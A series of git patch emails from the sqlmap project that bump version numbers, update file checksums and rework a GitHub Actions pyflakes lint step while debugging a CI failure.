-88cc7cdbc758f78a486f205f0245a6465bf6be74f77fbb476350bf50221bc357 lib/core/settings.py +6390db71c97ace5815b499d63ac08d22c8a97a1b6c5a1a610635a5e6e0af6740 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -504,7 +504,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -f8974aac701639b54ca34b0e11803c836e5cb1e1c5a6eaf275315949b6487310 sqlmap.py +41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0f271de3480..f036781c0a9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.174" +VERSION = "1.10.6.175" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 19987565651..3667ca27030 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -32,14 +32,18 @@ import traceback import warnings + try: + ResourceWarning + except NameError: + ResourceWarning = Warning + if "--deprecations" not in sys.argv: warnings.filterwarnings(action="ignore", category=DeprecationWarning) else: warnings.resetwarnings() warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) warnings.simplefilter("ignore", category=ImportWarning) - if sys.version_info >= (3, 0): - warnings.simplefilter("ignore", category=ResourceWarning) + warnings.simplefilter("ignore", category=ResourceWarning) warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) From 3809161b0e0e6934e9ea10dfd8001cb1f0bbc2c9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:26:34 +0200 Subject: [PATCH 631/853] Minor update --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 4a338fcd05e..fb89c420ece 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,7 @@ jobs: shell: bash run: | python -m pip install pyflakes - OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') | grep -v ' redefines ') + OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') 2>&1 | grep -v ' redefines ') if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi echo "pyflakes: clean" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5c317f3779d..a1f89d37cd4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6390db71c97ace5815b499d63ac08d22c8a97a1b6c5a1a610635a5e6e0af6740 lib/core/settings.py +0a0bd56ab8bdbbec8d51275b6bd9b3f483396acaaa6f15525036507cdb5d5bfa lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f036781c0a9..8edfc68f8e3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.175" +VERSION = "1.10.6.176" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d6a754e8b2b731036b98400e88662b7df721b2be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:28:18 +0200 Subject: [PATCH 632/853] Minor update --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index fb89c420ece..271ce8b9fa9 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,7 @@ jobs: shell: bash run: | python -m pip install pyflakes - OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') 2>&1 | grep -v ' redefines ') + OUT=$( (python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') 2>&1 || true) | grep -v ' redefines ') if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi echo "pyflakes: clean" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a1f89d37cd4..bce98ae5185 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0a0bd56ab8bdbbec8d51275b6bd9b3f483396acaaa6f15525036507cdb5d5bfa lib/core/settings.py +9b7f665fafa1a391fb213afa6d5016f0a21462fee771821a55c559376f34480b lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8edfc68f8e3..be30b75bae9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.176" +VERSION = "1.10.6.177" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1feb6f73b9fb13da19a6cb067c013c5a567aeded Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:30:35 +0200 Subject: [PATCH 633/853] Minor update --- .github/workflows/tests.yml | 3 ++- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 271ce8b9fa9..29d68fb538f 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,8 @@ jobs: shell: bash run: | python -m pip install pyflakes - OUT=$( (python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') 2>&1 || true) | grep -v ' redefines ') + OUT=$(git ls-files '*.py' | grep -v '^thirdparty/' | xargs python -m pyflakes 2>&1) || true + OUT=$(echo "$OUT" | grep -v ' redefines ') if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi echo "pyflakes: clean" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index bce98ae5185..c0c3b204d08 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -9b7f665fafa1a391fb213afa6d5016f0a21462fee771821a55c559376f34480b lib/core/settings.py +ad4e8f1a5cd72c74e8686a15e70195abcee977b1f874667af77ffca0614b35c5 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index be30b75bae9..8ecbbd09110 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.177" +VERSION = "1.10.6.178" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 60403f80df4a7041976089c956eddfa74e5f7479 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:33:31 +0200 Subject: [PATCH 634/853] Debugging CI/CD failure --- .github/workflows/tests.yml | 17 +++++++++++++---- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 15 insertions(+), 6 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 29d68fb538f..ac714fbf6a1 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -40,11 +40,20 @@ jobs: - name: Pyflakes lint shell: bash run: | + set +e python -m pip install pyflakes - OUT=$(git ls-files '*.py' | grep -v '^thirdparty/' | xargs python -m pyflakes 2>&1) || true - OUT=$(echo "$OUT" | grep -v ' redefines ') - if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi - echo "pyflakes: clean" + python -c " +import subprocess, sys +files = subprocess.check_output(['git', 'ls-files', '*.py']).decode().splitlines() +files = [f for f in files if not f.startswith('thirdparty/')] +p = subprocess.Popen([sys.executable, '-m', 'pyflakes'] + files, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) +out, _ = p.communicate() +lines = [l for l in out.decode().splitlines() if ' redefines ' not in l] +if lines: + print('\n'.join(lines)) + sys.exit(1) +print('pyflakes: clean') +" - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c0c3b204d08..0d50cd9de9a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ad4e8f1a5cd72c74e8686a15e70195abcee977b1f874667af77ffca0614b35c5 lib/core/settings.py +5210684c1d6eecef0305077b22809569595ed039e3c1852ceeeb78338d8fa9b2 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8ecbbd09110..85595cb2910 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.178" +VERSION = "1.10.6.179" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ca755467de665849b42e021eac48507f3c760425 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:34:54 +0200 Subject: [PATCH 635/853] Debugging CI/CD failure --- .github/workflows/tests.yml | 13 +------------ data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 14 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index ac714fbf6a1..07447eb46da 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -42,18 +42,7 @@ jobs: run: | set +e python -m pip install pyflakes - python -c " -import subprocess, sys -files = subprocess.check_output(['git', 'ls-files', '*.py']).decode().splitlines() -files = [f for f in files if not f.startswith('thirdparty/')] -p = subprocess.Popen([sys.executable, '-m', 'pyflakes'] + files, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) -out, _ = p.communicate() -lines = [l for l in out.decode().splitlines() if ' redefines ' not in l] -if lines: - print('\n'.join(lines)) - sys.exit(1) -print('pyflakes: clean') -" + python -c 'import subprocess, sys; files = subprocess.check_output(["git", "ls-files", "*.py"]).decode().splitlines(); files = [f for f in files if not f.startswith("thirdparty/")]; p = subprocess.Popen([sys.executable, "-m", "pyflakes"] + files, stdout=subprocess.PIPE, stderr=subprocess.STDOUT); out, _ = p.communicate(); lines = [l for l in out.decode().splitlines() if " redefines " not in l]; sys.exit(1) if lines else None; print("pyflakes: clean")' - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0d50cd9de9a..5a80d730955 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5210684c1d6eecef0305077b22809569595ed039e3c1852ceeeb78338d8fa9b2 lib/core/settings.py +b7fd9d9f7857bf73ffc87c607c9f4c6585b50b0793775b9757b72df8eef3e28c lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 85595cb2910..98946147836 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.179" +VERSION = "1.10.6.180" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 24e26d102a75b745fd7108a7f2b66a35be95877e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:40:05 +0200 Subject: [PATCH 636/853] Debugging CI/CD failure --- .github/workflows/tests.yml | 47 ++++++++++++++++++++++++++++++++++--- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 46 insertions(+), 5 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 07447eb46da..02e776969fe 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -40,9 +40,50 @@ jobs: - name: Pyflakes lint shell: bash run: | - set +e - python -m pip install pyflakes - python -c 'import subprocess, sys; files = subprocess.check_output(["git", "ls-files", "*.py"]).decode().splitlines(); files = [f for f in files if not f.startswith("thirdparty/")]; p = subprocess.Popen([sys.executable, "-m", "pyflakes"] + files, stdout=subprocess.PIPE, stderr=subprocess.STDOUT); out, _ = p.communicate(); lines = [l for l in out.decode().splitlines() if " redefines " not in l]; sys.exit(1) if lines else None; print("pyflakes: clean")' + python - <<'PY' + from __future__ import print_function + + import subprocess + import sys + + subprocess.check_call([ + sys.executable, "-m", "pip", "install", "pyflakes" + ]) + + files = subprocess.check_output( + ["git", "ls-files", "*.py"] + ).decode("utf-8").splitlines() + + files = [ + f for f in files + if not f.startswith("thirdparty/") + ] + + proc = subprocess.Popen( + [sys.executable, "-m", "pyflakes"] + files, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + ) + out, _ = proc.communicate() + + text = out.decode("utf-8", "replace") + lines = [ + line for line in text.splitlines() + if " redefines " not in line + ] + + if lines: + print("\n".join(lines)) + sys.exit(1) + + if proc.returncode not in (0, 1): + if text: + print(text) + print("pyflakes failed unexpectedly with status %s" % proc.returncode) + sys.exit(proc.returncode or 1) + + print("pyflakes: clean") + PY - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5a80d730955..a0adaf33411 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b7fd9d9f7857bf73ffc87c607c9f4c6585b50b0793775b9757b72df8eef3e28c lib/core/settings.py +968c2fced6e80aba7dd586c22252d332cc249d58e9290abb51d5bb8f4abb193a lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 98946147836..23f7d105505 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.180" +VERSION = "1.10.6.181" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 70efdfdc6b7552e72885d8c95e86bce8ba60c0c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:41:45 +0200 Subject: [PATCH 637/853] Checking if pyflakes really works in CI/CD --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 1 + 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a0adaf33411..ae2c87024d0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -968c2fced6e80aba7dd586c22252d332cc249d58e9290abb51d5bb8f4abb193a lib/core/settings.py +749e12c309222b25b4b859d94c370fa7dd6049053eace51092ad739eb3c284c2 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -504,7 +504,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py +009b66f76594ed3e338c47f443143335a97be84b824e05f87b6690df4f8df0dd sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 23f7d105505..6bdb3063c2a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.181" +VERSION = "1.10.6.182" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 3667ca27030..56fc47c2113 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -32,6 +32,7 @@ import traceback import warnings + from io import * try: ResourceWarning except NameError: From 6bbcd4a28a920289136742f4ce4ac19ef3c337ac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:42:39 +0200 Subject: [PATCH 638/853] Fixing CI/CD failure --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 1 - 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ae2c87024d0..9d62834ac6d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -749e12c309222b25b4b859d94c370fa7dd6049053eace51092ad739eb3c284c2 lib/core/settings.py +4a8147959fcee12f902d4bbd2b6018ca8f04f62a92e58d62561daf49bd0f6303 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -504,7 +504,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -009b66f76594ed3e338c47f443143335a97be84b824e05f87b6690df4f8df0dd sqlmap.py +41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6bdb3063c2a..8df228f6464 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.182" +VERSION = "1.10.6.183" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 56fc47c2113..3667ca27030 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -32,7 +32,6 @@ import traceback import warnings - from io import * try: ResourceWarning except NameError: From 8676166acd99263f9c8162a5af8b6efd2c6e4b8e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:48:53 +0200 Subject: [PATCH 639/853] Polishing CI/CD pipeline --- .github/workflows/tests.yml | 4 ++++ data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 02e776969fe..ed87f885d78 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -4,6 +4,10 @@ on: pull_request: branches: [ master ] +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + permissions: contents: read diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9d62834ac6d..ccc93661950 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4a8147959fcee12f902d4bbd2b6018ca8f04f62a92e58d62561daf49bd0f6303 lib/core/settings.py +40af34c5f871067ef8b6cc6580a1fb6d18bbc9483a3e6de51797c7c2d6c06425 lib/core/settings.py 